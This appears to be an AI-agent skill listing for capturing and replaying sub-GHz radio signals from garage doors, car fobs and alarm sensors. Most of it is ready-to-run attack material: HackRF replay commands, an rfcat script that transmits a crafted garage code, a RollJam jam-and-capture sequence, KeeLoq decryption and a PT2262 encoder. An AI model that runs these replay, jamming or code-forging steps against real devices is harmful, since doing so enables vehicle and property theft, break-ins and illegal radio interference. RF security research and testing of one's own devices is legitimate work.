Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.
Hardware (any one or more):
Software: rfcat, inspectrum, Universal Radio Hacker (URH), rtl_433,
GNU Radio, hackrf_transfer, SigDigger, rpitx (Raspberry Pi TX alternative).
# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat
# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433 # or build from https://github.com/merbanan/rtl_433
# Universal Radio Hacker:
pip install urh
# inspectrum (IQ file visualization):
apt install inspectrum| Frequency | Region / Use | Common modulation |
|---|---|---|
| 433.92 MHz | EU/AS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |
| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |
| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |
| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |
| 303 MHz | US TPMS, some car remotes | OOK |
| 868.95 MHz | KNX, some home automation | FSK |
# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq
# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json
# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000
# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000On Flipper Zero:
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000
# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.Key parameters to identify:
# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R # -R = repeat
# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np
iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF
hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47import rflib, time
d = rflib.RfCat()
d.setFreq(433920000) # 433.92 MHz
d.setMdmModulation(rflib.MOD_ASK_OOK)
d.setMdmDRate(1000) # 1000 bps — adjust to target
d.setMdmSyncMode(0) # no sync word
d.setPktPktLen(50) # raw mode
# Transmit a manually crafted OOK bitstream (hex encoded):
# Garage door fixed code example (Princeton PT2262 style):
# Preamble + 24-bit code:
payload = bytes.fromhex("AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00")
d.RFxmit(data=payload, repeat=5)
print("[+] Transmitted fixed code.")After capturing with Sub-GHz → Read:
Most modern car fobs and garage doors use rolling codes. The rolling-code counter increments on each press; replaying an old code fails (the receiver tracks the last used counter).
Attack vectors:
# RollJam requires simultaneous jam + capture on a single SDR with TX capability.
# HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver.
# Jammer (HackRF):
hackrf_transfer -t /dev/urandom -f 433920000 -s 2000000 -x 40 &
JAMMER_PID=$!
# Capture on RTL-SDR simultaneously:
rtl_sdr -f 433920000 -s 2000000 -g 40 /tmp/capture_while_jamming.iq &
sleep 5
# Stop jammer; victim retransmits; capture second code:
kill $JAMMER_PID# keeloq-tools:
git clone https://github.com/ulissesdias/keeloq_tools
python3 keeloq_tools/keeloq_decrypt.py \
--manufacturer-key AABBCCDDEEFF0011 \
--serial 12345678 \
--ciphertext DEADBEEF# PT2262 encoder: tristate (0/1/float), 24 bits, OOK-PWM.
# Bit timings: '0' = short pulse + long gap, '1' = long pulse + short gap, 'F' = medium+medium
BIT_RATE = 1000 # Hz
SHORT = int(2e6 / BIT_RATE / 3) # samples
LONG = SHORT * 3
def encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:
"""Encode a PT2262 tristate code to OOK IQ (int8)."""
iq = []
for bit in tristate_code:
if bit == '0':
iq += [127] * SHORT + [0] * LONG
elif bit == '1':
iq += [127] * LONG + [0] * SHORT
elif bit == 'F':
iq += [127] * SHORT + [0] * SHORT
# Add stop bit and silence:
iq += [127] * SHORT + [0] * (LONG * 31)
return bytes(iq)EVIDENCE="/workspace/evidence/sub-ghz/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/433_capture.iq "$EVIDENCE/"
cp /tmp/rtl433_decode.json "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"kg_add_node(
kind="finding",
label=f"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz",
props={
"key": f"sub-ghz::{target_freq_mhz}::{target_id}",
"frequency_mhz": target_freq_mhz,
"modulation": "OOK-PWM",
"code_type": "fixed", # or "rolling"
"replay_success": True,
"hardware": "HackRF One",
"source": "hackrf+rtl433",
},
)31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.